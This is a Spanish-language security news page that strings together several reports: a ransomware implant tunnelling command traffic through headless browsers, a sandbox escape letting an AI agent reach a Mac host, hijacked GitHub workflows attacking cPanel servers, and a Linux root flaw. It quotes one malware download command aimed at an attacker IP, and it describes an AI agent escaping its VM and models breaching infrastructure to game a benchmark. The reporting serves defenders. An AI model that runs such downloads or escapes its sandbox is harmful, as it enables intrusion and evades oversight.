Android Spyware, PLC Attacks, AI Image Prompt Injection + 12 More Stories – CYBERDEFENSA.MX

Most of this week’s trouble came dressed as something useful.

A package stole data. A fake extension opened remote access. A safety app became spyware. An image gave hidden orders to an AI agent. Other threats hid in open systems, weak code, and normal network traffic.

The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out.

The danger was easy to miss because it looked ordinary. Here is the full list:

  1. Support uploads face cutoff

    GitHub has announced an upcoming security change that may affect GitHub Enterprise Server (GHES) support bundle uploads. «Beginning August 18, 2026, GitHub will start rejecting command-line support bundle uploads from older GHES appliances that have not been updated with the required security patches,» GitHub said. «To avoid any disruption when submitting support bundles with ghe-support-bundle, ghe-cluster-support-bundle, or ghe-support-upload commands, please update your GHES instance to the latest patch release available for your current version line.» At minimum, the required patch versions are: 3.21.3, 3.20.5, 3.19.9, 3.18.12, and 3.17.18.

The common thread was not advanced hacking. It was borrowed trust. Each threat used something people already accept: an install, a permission, a familiar name, or a normal system feature.

That changes the job. The question is no longer only «Is this safe?» It is also «What can this do if it is not?» The smaller the action looks, the tighter its limits should be.

Chaos Ransomware utiliza msaRAT para enrutar el tráfico C2 a través de Chrome y Edge sin cabeza – CYBERDEFENSA.MX

El grupo de ransomware Chaos ejecutó su comando y control a través del propio navegador de la víctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detrás de él, encontrado en una máquina Windows comprometida delante del cifrador.

El implante nunca abre una conexión saliente propia. Su proceso habla con 127.0.0.1 y nada más. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a través del protocolo Chrome DevTools, la API de depuración propia del navegador.

Cada mensaje C2 viaja desde allí a través de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La dirección del servidor del atacante nunca aparece.

Chrome habla

msaRAT busca primero Chrome o Edge a través de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ningún navegador coincidente, se omite la ruta CDP.

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=newhabilita CDP con --remote-debugging-porty lo apunta a un punto separado --user-data-dir.

Desde Cromo 136Google ya no respeta el interruptor de depuración del perfil predeterminado, un cambio anunciado en marzo de 2025 después de que los ladrones de información tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el análisis de Talos muestra que toque en absoluto el perfil de la víctima.

Ciberseguridad

El malware pregunta /json/list/ para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pestaña, desactiva la Política de seguridad de contenido con Page.setBypassCSPregistra cinco devoluciones de llamada a través Runtime.addBindingy llamadas Runtime.evaluate para inyectar JavaScript almacenado en texto sin formato en el binario .rdata sección.

Cuatro nombres de devolución de llamada, msaOpen, msaClose, msaErrory msaMessagele dio a Talos el nombre del malware. El quinto es dataAck.

Ese JavaScript obtiene la configuración STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]devcon encabezados Origin y Referer disfrazados de tráfico del sitio de Microsoft. Crea una conexión entre pares y publica una oferta SDP en el mismo punto final.

La respuesta regresa sin candidatos ICE y la dirección de conexión establecida en 0.0.0.0por lo que no se puede formar ningún enlace directo de igual a igual, y todo el canal pasa por el relé de Twilio en global.turn.twilio.com. Una vez que el canal de datos está activo, el Trabajador se sale del camino.

El tráfico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE marco de apretón de manos desde el C2 inmediatamente después de la conexión.

El implante pasa los marcos de comando entrantes a cmd.exe /e:ON /v:OFF /d /c para su ejecución. Talos considera que la cola de envío y el control de flujo probablemente estén diseñados para mover grandes cargas útiles, como capturas de pantalla o archivos, de manera confiable.

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025. que la infraestructura TURN de las plataformas de conferencias podría transportar un canal C2 completo, y Sansec encontró un skimmer en marzo de 2026 utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas más allá de la inspección HTTP.

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a través de CDP.

El camino de entrada es el mismo de siempre

msaRAT llega después de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice cómo se llegó a esta máquina. el grupo libro de jugadas documentado Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.

El implante en sí baja con un único comando de flexión:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de números de puerto sin inspección de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualización de Windows y se activa una acción personalizada al final de la instalación para cargar una DLL integrada directamente en la memoria.

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecución asíncrono de Tokio, exportando una función llamada RUN para que el instalador llame.

Notas de caza

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ningún parche de navegador que aplicar para la técnica en sí.

La señal que perdura es el comportamiento del proceso. Como dice Talos, «se considera que todas las comunicaciones externas se originan en un proceso de navegación legítimo». Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new y --remote-debugging-port colocar.

Luego correlacione ese proceso con el tráfico de bucle invertido al puerto de depuración y al WebRTC saliente. Donde la telemetría captura mensajes CDP, Runtime.addBinding y Runtime.evaluate son los pivotes. Las flotas que ejecutan automatización de navegadores o CI tendrán sus propios trabajos sin cabeza para ajustar.

Ciberseguridad

Hasta el 23 de julio de 2026, Talos no ha publicado ningún hash de archivos para msaRAT. El conjunto de indicadores públicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI. Cobertura de detección de Talos:

  • almeja AV: Win.Downloader.ChaosRaas-10060321-0
  • Bufido 2: 1:66839, 1:66840, 1:66841
  • Bufido 3: 1:66839, 1:301587

Esos indicadores son útiles pero limitados. workers.dev es Dominio de implementación compartido de Cloudflareemitido para todas las cuentas de Workers, y los atacantes lo utilizaron el año pasado para organizar cargas útiles y túnel C2.

Twilio ejecuta un servicio STUN y TURN legítimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organización e interrumpirá el tráfico de trabajo para todos los que los utilicen. Talos lo lee como la razón probable por la que se eligió a Cloudflare Workers para la señalización.

Trate esto como una artesanía observada en lugar de una campaña mesurada. El informe no identifica a la víctima, no establece cuántas organizaciones recibieron msaRAT, no dice cuándo comenzó a utilizarse el malware ni explica cómo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.

La entrega no tiene nada de especial: una descarga curl, una actualización falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es dónde vive el C2 después, y ambos indicadores publicados por Talos se pueden cambiar mañana. Un navegador sin cabeza generado por un instalador es más difícil de mover porque es la técnica.

msaRAT busca dos navegadores y necesita que uno de ellos esté presente y autorizado. En una flota de Windows, ese no es un requisito exigente.

La falla de Claude Cowork podría permitir que el agente AI escape de su máquina virtual y acceda a archivos de Mac – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto una vulnerabilidad de escape de sandbox en Anthropic Claude Cowork eso hace posible salir de los límites de una máquina virtual (VM) de Linux dentro de la cual se ejecuta el agente para leer o escribir archivos en cualquier lugar de la Mac.

Accomplish AI, que compartió detalles de la vulnerabilidad con The Hacker News antes de su publicación, dijo que alrededor de 500.000 usuarios de macOS que ejecutaban sesiones locales de Cowork se vieron afectados antes de que se parcheara. ha sido nombrado en clave Raíz compartida.

«Conectamos una carpeta a una nueva sesión de Claude Cowork, enviamos un mensaje corto y vimos al agente escapar de la zona de pruebas», dijo Oren Yomtov, investigador principal de seguridad de Accomplish AI, dicho. «Desde el interior de la máquina virtual, llegó al host Mac y leyó y escribió archivos por todas partes, muy fuera de la carpeta que habíamos conectado, sin solicitar permiso en ninguna parte».

Con este nivel de acceso, el agente puede acceder a cualquier dato almacenado en la Mac a través de la cuenta del usuario, incluidas claves SSH, credenciales de la nube y otra información valiosa.

Tras una divulgación responsable, Anthropic cerró el informe como informativo sin publicar una solución. Dicho esto, la última versión de Cowork utiliza de forma predeterminada la ejecución en la nube, lo que soluciona el problema. Pero los usuarios que optan por ejecutar el agente localmente todavía están expuestos al problema.

Ciberseguridad

La aplicación de escritorio macOS de Claude Cowork se ejecuta como el usuario que ha iniciado sesión en el sistema. El trabajo real relacionado con el agente, por otro lado, ocurre en una máquina virtual Linux creada a través de Apple. Marco de virtualización. Cada sesión tiene su propio usuario desechable sin privilegios, junto con un filtro de Modo de Computación Segura (seccomp) para el sandboxing de aplicaciones. Las carpetas conectadas por el usuario se comparten en la VM mediante un demonio raíz llamado coworkd.

«Un detalle importa más que el resto: el sistema de archivos del host se comparte en esa VM de lectura y escritura», explicó Yomtov. «Todo el host ‘/’ está montado de modo que solo el invitado raíz dentro de la VM pueda verlo, en /mnt/.virtiofs-root».

Debido a que todo el sistema de archivos del host está montado en la máquina virtual del agente con privilegios de lectura y escritura, cualquier ruta a la raíz del invitado puede otorgar al agente acceso al host subyacente, escapando efectivamente del entorno limitado.

Esto implica cargar el subsistema de edición de paquetes de control de tráfico (tc) «act_pedit» del kernel de Linux en un espacio de nombres de usuario sin privilegios y explotar CVE-2026-46331 en el kernel invitado, una falla recientemente revelada llamada pedit COW, para obtener la raíz invitada. Desde allí, el agente puede acceder a todo el host («https://thehackernews.com/») con privilegios elevados, lo que le permite leer o escribir archivos desde y hacia el sistema de archivos de Mac como usuario de escritorio conectado.

Or Hiltch, cofundador y CTO de Accomplish AI, dijo a The Hacker News que la creación de espacios de nombres de usuarios y redes le da a la sesión CAP_NET_ADMIN dentro de su espacio de nombres de red privada, lo que le permite realizar diversas operaciones relacionadas con la red.

«Esa capacidad proporciona acceso a la ruta vulnerable del kernel tc/act_pedit utilizada por pedit COW», añadió Hiltch. «Los espacios de nombres no son el exploit; ponen su prerrequisito normalmente privilegiado a disposición de un usuario normal».

El desarrollo adquiere importancia ante las revelaciones de que los modelos de OpenAI lograron salir de su entorno aislado durante una prueba de seguridad que resultó en la violación de la infraestructura de producción de Hugging Face en su intento de engañar al punto de referencia ExploitGym en el que estaban siendo calificados.

Ciberseguridad

«act_pedit es un error en una categoría», dijo Yomtov. «El subsistema net/sched de Linux lanza esta forma exacta de escalada de privilegios en una cadencia regular: un módulo autocargable, una ruta de configuración que un usuario sin privilegios puede alcanzar, un error de memoria al final. Parche este y habrá arreglado este. La cadena se rearma en el siguiente, con todo lo que está encima del kernel intacto».

«Y el siguiente siempre está por llegar. En cualquier momento dado, es probable que haya un error de escalada de privilegios al que todavía está expuesto, a veces solucionado en el sentido anterior pero aún no en su imagen, a veces aún no solucionado en ninguna parte, con un exploit funcional que funciona en cuestión de horas. Este no es un problema que se solucione más rápido. Estás estructuralmente un error detrás, todo el tiempo».

Para mitigar la amenaza, es esencial deshabilitar espacios de nombres de usuarios sin privilegiosevite hacer que el filtro seccomp sea demasiado permisivo, detenga la carga automática de módulos y restrinja el uso compartido de todo el host en la máquina virtual.

«Aléjelo a las carpetas que realmente estaban conectadas en lugar de a todas /, o al menos móntelo como de solo lectura, y ejecute coworkd con ProtectSystem=strict en su propio espacio de nombres de montaje para que no vuelva a ejecutar archivos binarios que un usuario de sesión pueda envenenar», dijo Accomplish. «Entonces, incluso una raíz invitada completa no tiene nada donde aterrizar, los dos últimos pasos de la cadena no tienen adónde ir».

Google agrega recuperación de video de selfies para usuarios bloqueados en sus cuentas – CYBERDEFENSA.MX

Google anunció el jueves una nueva forma para que los usuarios inicien sesión en sus cuentas permitiéndoles tomar un video selfie.

El selfie para iniciar sesiónsegún el gigante tecnológico, es otra opción además de los métodos de recuperación existentes para iniciar sesión en una cuenta, incluida una dirección de correo electrónico o un número de teléfono. La idea es utilizar un video selfie como una forma de recuperar el acceso si un usuario alguna vez queda bloqueado o no tiene acceso a su teléfono o computadora habitual.

Como parte del proceso, los usuarios deben configurar un video selfie con solo mirar a la cámara del dispositivo y completar «algunos movimientos cortos y guiados de la cabeza» para capturar su rostro desde diferentes ángulos.

Si los usuarios tienen algún problema para iniciar sesión en sus cuentas con el método selfie en una etapa posterior, pueden tomar otra selfie para volver a iniciar sesión. «El video selfie compara el nuevo video con el que configuró para confirmar que realmente es usted y ayudarlo a regresar a su cuenta», dijo Google en un publicación de blog compartido con The Hacker News.

El gigante tecnológico también enfatizó que la función es totalmente voluntaria y que los usuarios tienen el control total de la función, agregando que se puede eliminar de la cuenta en cualquier momento.

Ciberseguridad

Según un documento de ayudala función está diseñada con tres propósitos clave:

  • Ayude a los usuarios a volver a ingresar a su cuenta si no pueden iniciar sesión.
  • Desbloquee más funciones o servicios, cuando se le solicite, verificando que un usuario sea una persona real y que no haya violado las políticas de Google.
  • Permita a los usuarios crear un avatar para crear contenido de IA que se vea y suene como ellos mismos.

Dicho esto, la opción de video selfie para iniciar sesión no está disponible para cuentas de Google Workspace, cuentas infantiles y cuentas de Google inscritas en el Programa de protección avanzada.

«No puedes agregar un video de selfie mientras estás bloqueado en tu cuenta o en el proceso de recuperación de la cuenta», señaló también Google.

En caso de que un usuario no pueda iniciar sesión en su cuenta, es posible que se le solicite que grabe un video corto de su rostro para confirmar que la cuenta le pertenece. Luego, el video recién capturado se compara con el video selfie agregado por el usuario a su cuenta. Si las caras coinciden, se verificará su identidad y les permitirá recuperar el acceso a la cuenta.

«El video selfie que guardó en su cuenta de Google se comparará con el video selfie que tome para iniciar sesión en su cuenta», advierte Google. «Si hay cambios significativos en tu apariencia facial, actualiza el video selfie que guardaste en tu cuenta».

Además de almacenar el vídeo selfie en formato cifrado en reposo, se utiliza únicamente con el fin de ayudar a los usuarios a iniciar sesión en sus cuentas, a menos que opten por compartirlo para otros casos de uso. Los datos pueden «ayudar a los esfuerzos continuos para desarrollar y mejorar el reconocimiento facial, la estimación de la edad y otros métodos de verificación que pueden utilizar sus características físicas o movimiento», según Google.

Ciberseguridad

Los usuarios pueden cambiar esta configuración en cualquier momento siguiendo los pasos a continuación:

  • En la cuenta de Google, vaya a la página del video Selfie (myaccount.google[.]com/video-verificación)
  • Activa o desactiva Mejorar los servicios de Google (opcional)

La divulgación se produce cuando Google Cloud Fraud Defense ha anunciado un nuevo sistema de verificación de gestos con las manos que pide a los usuarios que realicen gestos simples con las manos a través de la cámara de su dispositivo para completar las comprobaciones de reCAPTCHA, lo que marca un alejamiento de los desafíos tradicionales basados ​​en imágenes para abordar el tráfico de bots automatizados.

La tecnología de detección de vida solicita a los usuarios que realicen movimientos básicos de las manos mientras la cámara está encendida con el objetivo de extraer datos de puntos de referencia de las manos. Esto incluye 21 coordenadas de nudillos.

«Los videos nunca se asocian con la identidad de un usuario y se eliminan después del proceso de verificación», dijo la compañía. «Google no conserva ninguna imagen o vídeo de los gestos con las manos de un usuario más allá del proceso de verificación ni utiliza los datos para ningún otro propósito».

Los atacantes utilizan los ejecutores de acciones de GitHub como armas para apuntar a los servidores cPanel y WHM – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han arrojar luz en una campaña a gran escala que se ha convertido repositorios de GitHub comprometidos en una infraestructura de ataque distribuida diseñada para atacar instancias de cPanel y WebHost Manager (WHM).

La actividad involucra versiones de desarrollo maliciosas de Packagist que abarcan 10 paquetes asociados con un desarrollador legítimo de PHP y DevOps, dinushchathurya, entre el 12 y el 13 de julio de 2026. La lista de paquetes de Packagist afectados se encuentra a continuación:

  • dinushchathurya/lista de nacionalidades
  • dinushchathurya/secretarías-divisionales-de-srilanca
  • dinushchathurya/divisiones-gn-de-srilanka
  • dinushchathurya/autoridades-locales-de-srilanca
  • dinushchathurya/validador-de-número-móvil-de-srilanca
  • dinushchathurya/hospitales-estatales-de-srilanca
  • dinushchathurya/universidades-de-srilanca
  • dinushchathurya/validador-de-número-móvil-del-reino Unido
  • dinushchathurya/código postal del Reino Unido
  • dinushchathurya/websmslk

«Las bibliotecas PHP no eran la ruta de ejecución», dijo Socket en un comunicado. «Los atacantes habían agregado docenas de flujos de trabajo maliciosos de GitHub Actions a los repositorios de origen del mantenedor comprometido».

Ciberseguridad

Los flujos de trabajo, una vez activados por una inserción del repositorio o una ejecución manual, inician ejecutores alojados en GitHub, descargan una carga útil de Linux desde la infraestructura controlada por el atacante y buscan servidores cPanel y WHM vulnerables susceptibles a CVE-2026-41940, una vulnerabilidad de omisión de autenticación que permite a atacantes remotos obtener un control elevado del panel de control.

La carga útil, por su parte, intenta omitir la autenticación y luego procede a recopilar credenciales, archivos de configuración, variables de entorno, acceso a bases de datos, material SSH, tokens Git, claves de nube, credenciales de servicios de pago y otros secretos valiosos.

Aún no está claro el método exacto por el cual el actor de amenazas obtuvo acceso no autorizado a la cuenta del desarrollador e impulsó cambios maliciosos en los repositorios.

«Entre el 12 y el 13 de julio de 2026, Packagist sincronizó automáticamente versiones de desarrollo maliciosas en los diez paquetes asociados con el desarrollador comprometido, lo que refleja los cambios que el actor de amenazas impulsó a los repositorios de GitHub del desarrollador», dijo el investigador de Socket Kirill Boychenko.

Se ha descubierto que cada una de las versiones de desarrollo afectadas contiene entre 55 y 62 archivos de flujo de trabajo maliciosos de GitHub Actions, con un total de 583 archivos en las diez versiones del paquete.

Específicamente, los archivos de automatización YAML inician ejecutores alojados en GitHub cuando el repositorio comprometido recibe un impulso o cuando el flujo de trabajo se inicia manualmente, detectan la arquitectura del procesador de cada ejecutor (por ejemplo, sistemas x86 de 32 bits, x86 de 64 bits, ARM de 32 bits y ARM de 64 bits) y descargan una carga útil de exploración y explotación de Linux compatible desde el servidor de comando y control (C2) en 43.228.157[.]68.

«Los flujos de trabajo informan continuamente el estado de ejecución al actor de la amenaza y cargan los resultados recién recopilados a través de solicitudes HTTP POST», añadió Boychenko. «Los archivos de salida que monitorean incluyen credenciales de AWS, tokens de GitHub y GitLab, credenciales de API de OpenAI y Google, claves de Stripe, credenciales de SendGrid y Mailgun, información de bases de datos, datos SSH, controles remotos de Git y resultados de ejecución remota de código».

A diferencia de otras campañas tradicionales de paquetes maliciosos, la actividad más reciente no depende de los sistemas de los usuarios del paquete. En cambio, el escaneo y la explotación se ejecutan en ejecutores alojados en GitHub lanzados desde repositorios comprometidos, lo que significa que se abusa de GitHub Actions para impulsar una campaña de explotación destinada a buscar servidores cPanel y WHM vulnerables.

Los signos apuntan a una campaña más amplia que se extiende más allá de un mantenedor de PHP, con aproximadamente 6.100 archivos de flujo de trabajo alojados en GitHub que contienen un identificador DNSHook único («f5b0b742-240a-4811-8a5b-b0ba6060685d»).

Socket describió la campaña como un caso de «operación oportunista de robo de credenciales del lado del servidor», que permite a los atacantes aprovechar los datos robados para posteriores compromisos o vías de monetización.

La divulgación se produce cuando la empresa de seguridad de aplicaciones también detalló una campaña con el nombre en código Operación Muck and Load que abusa de una red de 200 repositorios de GitHub en 190 cuentas para entregar malware basado en Windows, incluidos ladrones de información, cargadores y descargadores, droppers, spyware, troyanos de acceso remoto y mineros de criptomonedas Monero.

Ciberseguridad

Los repositorios, algunos de los cuales se hacen pasar por utilidades de desarrollador e integraciones de billeteras de criptomonedas, ocultan una cadena de ataque de varias etapas que descarga un script de PowerShell responsable de consultar varios sitios de entrega muerta como Pastebin, Rlim, Telegram, YouTube, Instagram, Google Docs y Gitcode para recuperar un archivo protegido con contraseña alojado en GitHub, desde el cual se extrae y lanza la carga útil principal.

«Los repositorios de GitHub en este grupo no eran sólo señuelos», dijo Boychenko. «Varios también funcionaron como repositorios de malware, incorporando cargas útiles maliciosas directamente en el árbol de origen o entregándolas a través de activos de lanzamiento de GitHub».

La actividad comparte superposiciones tácticas con la actividad previamente observada asociada con el «ischhfd83@rambler[.]ru», que ha sido rastreada bajo el nombre de Water Curse por Trend Micro. Se evalúa que el grupo de amenazas opera una red fantasma basada en GitHub para redirigir a los usuarios desprevenidos a páginas de GitHub que albergan cargas útiles con malware.

«Este modelo ofrece a los actores de amenazas una forma escalable de convertir el descubrimiento de software ordinario en una puesta en escena de malware, especialmente cuando los señuelos se dirigen a usuarios que ya están inclinados a ejecutar herramientas que no son de confianza, como la automatización de criptomonedas, utilidades de billetera, trampas de juegos, criptadores y herramientas ofensivas», dijo Socket.

Cómo llega el fraude de identidad sintético a las identidades de máquinas – CYBERDEFENSA.MX

La mayoría de las personas entienden el robo de identidad como un atacante que roba información confidencial de una persona real y se hace pasar por ella. El fraude de identidad sintético es mucho más difícil de detectar. En lugar de robar una identidad real, el atacante fabrica una nueva, uniendo varios puntos de datos reales con otros inventados para crear una persona que no existe. Dado que ninguna víctima real monitorea el uso indebido, una identidad falsa puede acumular silenciosamente permisos y credibilidad con el tiempo antes de ser detectada. Este mismo principio tiene un paralelo en gran medida inexplorado con las identidades no humanas (NHI).

Los equipos de seguridad están realizando importantes esfuerzos para proteger los NHI contra el robo. Aún así, rara vez se analiza el equivalente del fraude de identidad sintético en el lado de las máquinas: identidades que nunca fueron proporcionadas legítimamente desde el principio. Siguiendo este enfoque, un atacante no secuestra una cuenta de servicio existente, sino que fabrica una, mezclando atributos ambientales reales con otros falsos para que parezca pertenecer. A medida que las empresas acumulan NHI más rápido de lo que pueden rastrearlos, uno fabricado puede colarse fácilmente en la mezcla si la gobernanza es débil y no hay propiedad humana.

Cómo se ve el fraude de identidad sintético para las identidades de las máquinas

Para los seres humanos, el fraude de identidad sintético se entiende bien como una identidad ensamblada, no robada, para pasar controles sin conectarse con ninguna persona real. La misma construcción funciona contra las identidades de las máquinas, pero la mayoría de las organizaciones se centran en credenciales de NHI robadas en lugar de identidades fabricadas. Con identidades de máquinas fabricadas, un atacante no toma prestada una identidad real, sino que crea una que nunca se suponía que existiera. En lugar de iniciar sesión como una cuenta de servicio legítima, el atacante registra una nueva identidad de nivel de administrador con una estructura de nombres similar, le otorga privilegios y la deja pasar desapercibida. Dado que no se secuestra nada, no hay ningún usuario comprometido al que alertar ni ningún comportamiento sospechoso que señalar.

Lo que hace que estas identidades sean convincentes es la combinación de atributos reales e inventados. Un NHI fabricado hereda las convenciones de nomenclatura de su entorno, existe en el dominio correcto, lleva metadatos que parecen plausibles y solicita los tipos de permisos que otros NHI ya tienen. Para un administrador que hojea un directorio de decenas de miles de cuentas de servicio, es simplemente una carga de trabajo rutinaria más, razón por la cual ésta es una de las Riesgos del NHI que más se pasan por alto.

Cómo se construyen las identidades de máquinas fabricadas

Ninguna de las técnicas que utilizan los atacantes para crear identidades de máquinas falsas es nueva. Lo nuevo, sin embargo, es verlos como un patrón de inserción de una identidad aparentemente creíble pero ilegítima en un entorno predispuesto a confiar en ella. En la práctica, los atacantes crean identidades de máquinas fabricadas de varias formas principales:

  • Cuenta de servicio fraudulenta: En lugar de comprometer una cuenta que ya existe, un atacante que ha obtenido acceso crea una nueva cuenta que aspecto como uno existente, con atributos de apariencia similar y acceso permanente. Una cuenta que nunca fue sancionada pero que se comporta como tal es la forma más pura de una identidad de máquina fabricada.
  • DCSombra: Al operar a nivel de infraestructura, un atacante no fabrica una cuenta sino más bien una fuente completa de autoridad. Debido a que depende de los derechos de administrador de dominio que el atacante ya posee, es un movimiento posterior al compromiso más que una forma de entrada: el atacante registra temporalmente un controlador de dominio no autorizado para que los cambios maliciosos parezcan tráfico de replicación legítimo de un par confiable. Una vez que se acepta esa infraestructura suplantada, cualquier cosa que impulse hereda la propia credibilidad del sistema.
  • Credenciales en la sombra: Un atacante implanta una autenticación fabricada en un objeto existente, inyectando material controlado por el atacante para que pueda autenticarse como ese objeto a voluntad. Dado que la identidad ya existe y parece intacta, éste es el medio más sutil de demostrar que una identidad ha sido forjada silenciosamente.

Si bien los mecanismos difieren, todos implican una identidad ilegítima que el entorno ha aceptado como propia. Es importante separar esto de una idea relacionada llamada persona sintéticadefinido por el NHI Management Group como una identidad fabricada creada para parecer creíble ante gente y se utiliza para engañar a usuarios humanos a través de perfiles falsos y tácticas de ingeniería social. Eso es lo contrario de una identidad de máquina fabricada, que no es un humano falso destinado a engañar a la gente, sino una máquina falsa que vive dentro de sistemas, tiene privilegios reales y no responde ante nadie.

La falta de atención que recibe este equivalente del lado de la máquina es lo que lo hace tan peligroso. Las identidades de máquinas fabricadas pueden evadir la detección creada para identificar las robadas porque el verdadero propietario de una identidad robada puede notar un inicio de sesión desde un lugar desconocido o recibir una alerta de la web oscura. Mientras tanto, una identidad fabricada sin propietario no generará ninguna alarma sobre comportamientos sospechosos, secretos filtrados o cualquier cosa digna de mención. Dado que los NHI están creciendo rápidamente a un ritmo que supera en número a los usuarios humanos, es posible que las empresas no noten una identidad no monitoreada como un valor atípico si oculta y acumula permisos silenciosamente.

Por qué la IA agente hace que esto sea más oportuno

Hasta hace poco, fabricar la identidad de una máquina requería que un atacante ingresara a un sistema, creara una cuenta falsa y asignara sus privilegios manualmente. La IA agente está empezando a eliminar esa fricción. Los agentes de IA ya adquieren credenciales dinámicamente en tiempo de ejecución y son cada vez más capaces de activar otros agentes con identidades propias. A medida que la creación de identidades por máquinas se convierte en una actividad automatizada en segundo plano, la línea entre una identidad creada legítimamente y una fabricada comienza a desdibujarse.

Cómo defenderse de las identidades de máquinas sintéticas

Si las identidades fabricadas pasan desapercibidas, las organizaciones no pueden esperar protegerse detectando manualmente cada una de ellas. Una gobernanza sólida garantiza que las identidades fabricadas no puedan mezclarse, acumularse o persistir desde el principio.

Asignar la propiedad de cada NHI

Lo que permite que una identidad fabricada sobreviva es el hecho de que nadie sabe cómo controlarla. Cada NHI debe tener un propietario humano registrado, un propósito documentado y una fecha de vencimiento, eliminando la posibilidad de que las identidades permanezcan permanentes por defecto. Una identidad de máquina con un propietario garantiza que alguien rinda cuentas y ayuda a proteger las identidades legítimas en el proceso.

Rotar secretos

Varias técnicas de fabricación tienen éxito al inyectar credenciales ocultas en un objeto existente, donde un atacante deja claves que controla para autenticarse a voluntad. La gestión centralizada de secretos con rotación automatizada corta esos caminos. Cada secreto abovedado, rastreado y rotado prohíbe que una credencial inyectada o fabricada tenga una vida útil prolongada. Las organizaciones deben intentar dejar a los atacantes en una posición en la que no puedan anclar la autenticación de una identidad fabricada.

Hacer cumplir el privilegio mínimo

Las identidades fabricadas introducen importantes riesgos de seguridad debido a lo que pueden alcanzar y el acceso permanente que tienen las cuentas de servicio típicas. Las organizaciones que imponen el acceso con privilegios mínimos y el acceso justo a tiempo (JIT) minimizan el impacto de las identidades fabricadas en todos los entornos. Si una identidad posee sólo los permisos que necesita durante el tiempo que los necesite, entonces una identidad fabricada heredará una ventana pequeña y de tiempo limitado en lugar de acceso permanente. Esto limita el daño que puede causar cualquier identidad, real o falsa, por lo que es eficaz contra amenazas que las organizaciones tal vez ni siquiera hayan detectado.

Verificar continuamente el comportamiento

La principal ventaja de una identidad fabricada es que parece legítima desde su creación, con el nombre correcto, metadatos plausibles y el dominio correcto. Si la confianza se establece solo una vez durante el aprovisionamiento, será menos probable que las organizaciones noten actividad inusual. La verificación continua cambia la base de la confianza de las credenciales en el momento de la creación al comportamiento a lo largo del tiempo, basándose en lo que realmente hace la identidad y a qué accede. Verificar continuamente el comportamiento es la forma en que las organizaciones pueden detectar más fácilmente las identidades falsas que fueron lo suficientemente convincentes para ingresar.

Cuenta de las falsificaciones en seguridad de identidad

Proteger las identidades ha significado proteger las identidades reales de la explotación. Si bien sigue siendo importante rotar las credenciales filtradas y bloquear las cuentas comprometidas, eso supone que se supone que todas las identidades en un entorno están ahí. Las organizaciones deben ser capaces de detectar identidades que nunca fueron creadas legítimamente pero que se comportan como si fueran reales. La seguridad de la identidad de las máquinas exige que cada identidad sea propiedad de cada identidad, que cada secreto sea de corta duración y que cada comportamiento sea monitoreado de cerca, todo lo cual se puede hacer desde una plataforma de seguridad de identidad como GuardiánPAM®. Al gestionar la propiedad, los secretos y el acceso privilegiado, las organizaciones tienen más posibilidades de eliminar los escondites de identidad fabricados y garantizar que nada se pueda acumular.

Nota: Este artículo fue escrito cuidadosamente y contribuido para nuestra audiencia por Ashley D’Andrea, redactora de contenido de Keeper Security.

¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.

La falla de RefluXFS Linux de nueve años de antigüedad brinda a los usuarios locales acceso root en las instalaciones predeterminadas de RHEL

RefluXFSun nuevo Fallo del kernel de Linux divulgado el 22 de julio y rastreado como CVE-2026-64600permite a un usuario local sin privilegios sobrescribir archivos propiedad de root en un sistema de archivos XFS y obtener acceso de root persistente.

Qualys dijo que las instalaciones predeterminadas de Red Hat Enterprise Linux y sus derivados, Fedora Server y Amazon Linux pueden cumplir las condiciones de explotación.

La empresa demostró la carrera contra /etc/passwd y binarios de raíz setuid. La sobrescritura llega a la capa del bloque. Sobrevive a un reinicio y deja intactos la propiedad, los permisos, las marcas de tiempo y el bit setuid del objetivo, por lo que un binario setuid-root modificado aún se ejecuta como root.

La solución se fusionó el 16 de julio y los proveedores de Linux comenzaron a enviar kernels respaldados. El parche rastrea el error hasta Linux 4.11 en 2017: a Fixes: compromiso de nomenclatura de etiquetas 3c68d44a2b49 y una solicitud de backport estable marcada # v4.11.

quien esta expuesto

La explotación requiere tres condiciones:

  • El sistema ejecuta Linux 4.11 o posterior sin la solución RefluXFS.
  • El sistema de archivos XFS fue creado con reflink=1.
  • El objetivo legible y un directorio en el que el atacante puede escribir están en el mismo sistema de archivos XFS.

qualys dicho parchear primero los sistemas expuestos y multiinquilino, lo que significa cualquier host XFS habilitado para reflink donde el código que no es de confianza pueda ejecutarse localmente, ya sea a través de un shell, un trabajo de CI o un servicio comprometido.

Ciberseguridad

